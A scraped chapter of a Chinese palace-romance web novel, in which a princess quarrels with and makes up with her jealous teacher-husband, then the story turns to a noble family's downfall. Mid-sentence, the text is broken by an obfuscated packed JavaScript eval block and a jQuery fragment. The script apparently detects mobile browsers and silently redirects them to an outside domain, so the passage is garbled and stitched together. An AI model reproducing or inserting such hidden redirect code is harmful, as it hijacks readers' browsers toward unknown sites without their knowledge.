37. 第 37 章
作品:《公主又把丞相气疯了》 然而,当听到裴渡舟的下一句话时,仅仅只是存于心里的想法也再压制不住,强装平静的神态终究被打破,转为丝丝缕缕的恼火。
他说:既然这么喜欢他,要我把他叫进来伺候你吗?提到他是脱口而出的漂亮,到了我就是深思熟虑的德高望重,日日和我在一处,还真是委屈你了。
江令薇临到嘴边的话滚了一圈,忍了又忍,实在忍不住,但也不想一气之下说什么不好的话,默默地吁出一口气,也不看他,利索地下了床,一句话也不说便大步朝门口走去。
“你敢踏出这个门一步。”裴渡舟眸光森然,其中没有一丝温度,周遭气息冷得足以刺穿人心。
“为什么不敢。”她面无表情地转过身,又重复了一遍:“我为什么不敢?”
“……这样跟我说话……好,你真是越来越好了……”他几乎是咬着牙说完的,神情已经彻底冷了下去,阴沉得能滴出水来。但是仔细看,身侧的手掌青筋蚺起,高大的身躯隐隐在颤抖。
仿佛在面对一个怎么也不听管教的孩子,日渐憔悴,操碎了心。
然而,江令薇却全然不管,盯着他那双仿佛要吃了她的瑞风眸,道出早已不知忍耐了多久的不满与恼恨,“你真是奇怪,我做的难道不是你所希望的吗?既然觉得我委屈,觉得我对少隐怀有不可告人的心思,那好啊,就像你说的那样,我成全你,这就把他叫进来伺候我。
所以我待会回来的时候,希望你已经把地方给我们腾好了,你是德高望重的老师嘛,合该体谅一下我这年轻气盛、血气方刚的不成器学生。”
一字一句,全是裴渡舟曾经威胁过她的话,熟悉的话语再临,却是不同的意味。
他没有说话,狭长的瑞风眸中情绪明明灭灭,似是不可置信,又似是浓烈的足以化形的戾气,深不见底。
她一眨不眨地望着他,语气冷漠,再不见往日的半分顺从,那双乌黑分明的杏眸之中,除了近乎荒诞的冷之外,什么都没有。
若是天子近侍福来在此,大抵会惊诧,血脉亲情果真是不可违逆、不可分割的存在,无论是谁,只要身上沾染着天子的血,那便永远不可能一直处于一个任人宰割的地步。
那双眼里所呈现的意味,所有皇子身上都曾经或多或少地出现过。
天家无情,始终不是说说而已。
“另外,我又不是流氓,怎能白白睡了少隐,自然要娶他,不过恩人不可为小,老师你天天在这心疼我,那你再心疼多一点好不好,纳他做我的平夫,以后,与你平起平坐,兄弟相称,一同伺候我,也省得你再日日心疼我没人侍奉了,你说学生的想法怎么样,是不是天衣无缝啊,老师。”
“……然后呢?”他声音中有着明显的怒气,薄唇抿得很紧,但是一直注视着她的眼睛却不可避免地泛红,漫上一层不甚明显的哀怨和心碎。
不过江令薇不是瞎子,自然看得分明。她强行按耐住条件反射般想要道出口的宽慰,和微微的涩然,佯装没看到,继续道:“你猜不到吗?按你说的,我这么喜欢他,日后哪里还记得你,虽然说这种话很狼心狗肺,但谁叫学生我喜欢极了他,必定是每天与他卿卿我我,如胶似漆,分离一刻都不能够,舍不得。”
随着话音渐落,视线里的面容再维持不住先前的怒气,眼圈发红,颀长的身形一步步朝她走来。
她没有动,明明不一会而前还大步流星地要摔门出去,这一刻却仿佛被定了身,源自他的眼神。
心里想说:不要这样看她,没有谁是像他这样的,她分明什么都没有做,次次附和他,顺着他,可他仍不满足,不是在没事找事就是故意刁难她,她真的受够了,难以忍受。
面上却一动不动地盯着他,唇瓣嗫嚅,想安慰,想否认刚才所说的一切。
到了身前,他眼里的红血丝愈加明显。
他望着她,眸光黯淡,面色苍白,音调却冷硬得可怕,“江令薇,你不可以这么跟我说话,不过一个外人,什么平夫,你当真要这么伤我的心吗?”
破碎的神态,命令的话语。
她呼出一口气,别过眼不看他,丢下一句“我去书房睡”,就想冲出卧房,然而手臂被一股大力扯住,紧接着,身体落入了一个温暖的怀抱中。
她被他紧紧地抱着,耳边响起低哑的声音,本以为又是威胁,但出乎意料的,他道:“是我想岔了,我的薇薇答应了我,自然是不会出尔反尔的,你最是守信,是最乖的孩子。以后再不提他,不提一个外人,好不好?”
“……嗯,”她没想到他会就此算了,不过顺坡下驴是她最擅长的事情,心中的气怒也全发泄完了,只是到底还是不安心,闷着声音解释道:“我都是气话,你别放在心上,我永远也不会那样对你的,刚才说的都是假的,不会成真。”
“我知道。”他闭了闭眼,眼睫翕动间,能窥见大半显露出来的怨恨,这一刻的他,和高洁的岭上雪除了可望不可及的容颜之外没有半分关联,眉眼之间皆是世俗爱欲中才有的嫉恨,以及对少隐的杀心。
照他过往说一不二的性格,根本不会容她说出刚才那么多与少隐的可能来,即使一早就知晓是她的气话,但也不代表他想听,不代表心中无波澜。
但是她昨晚那番令人悸动的真心话,硬是让他生生忍着,骨节捏得发白发红,竭力克制着总算没有打断她的气话,让她说完了。
但也仅此而已,再多一句他都要忍不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974433|161367||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
住去提剑了结挑拨他们关系的那个狐狸精。
没有谁能够忍受得了爱人当着面夸别人漂亮。
然而再想杀少隐,也不能由他来做,甚至不能死。
她知恩图报……
他从没有哪一刻像这样痛恨过这个词。
“……天色不早了,你才回来,还是快去沐浴吧。”江令薇想抬头,却被他捂得不留一丝缝隙,只能靠着他的胸膛。
“好。”裴渡舟压低声音,隐约间听起来像是笑意,不过面上却无一丝表情,“明天带上你的刀,我带你去诏狱,陛下今日下旨,提前了时日,明日便问斩周洪。”
“父皇是想引蛇出洞?”她有些讶然,但也只是一小会儿,很快便想到了其中关键。
“继续说。”
“嗯……”她思考了一会儿,道:“周家的事情牵扯甚广,如若要彻底调查清楚,最少也要有几月的光景,这么长的时间,足以发生很多事情。我猜,父皇是想尽快扳倒周家所有势力,才有此一举。毕竟,提前也好,不变也罢,周洪总是要死的,这样做没有任何损失。”
“这些事情上倒是机灵。”
听着耳边又变得熟悉的阴阳怪气,她装作听不懂地嗯了一声,主要是也没精力和他吵嘴了。
烛火下的影子晃动着,浴房里水声渐起,隐约听见几句嗔怪和老实的附和。
殿内的气氛从安宁祥和到剑拔弩张,不过须臾,又变回从前。
……
有人的情意在吵闹不休也不改分毫,而曾经京师中最受人追捧和忌惮的缙绅望族周家的宅邸里,往日的情意分崩离析的速度只在刹那。
灯火通明的正厅里,周皓坐在上首,眉眼肃沉。
在他左右手两侧,或坐或立来了一大批人,黑压压的遮得明亮的光线都暗沉了几分,此间人皆是周家三房族老,以及族里知事或还懵懂的姊妹兄弟。
身为家主的周太师当日一醒来听闻皇帝对周家的处置,气急攻心,竟是又晕了过去,至今还没醒来。偌大的周家此刻全听凭年方二十二的周皓一人撑着。
看着下首神色各异的族中人,周皓扯了扯唇角,要说周家什么最多,当数人头。即使朝中被押入监牢,等候审问的周家人不在,宽敞的正厅竟还是能坐满。
只是可惜,脑袋都是充数的,中看不中用,没一个是真装有东西的。
“皓儿啊,你说如今我们该怎么办才好,你父亲这又病了,洪儿也下了诏狱,陛下龙颜大怒,依二姑看,不如就此析居分家,也好保全你余下的姊妹兄弟啊,你看可好?”堂下一位菱形脸的中年女人按耐不住,率先开口,此人正是周家二房的当家人,也是周太师的嫡亲妹妹,周皓的姑姑。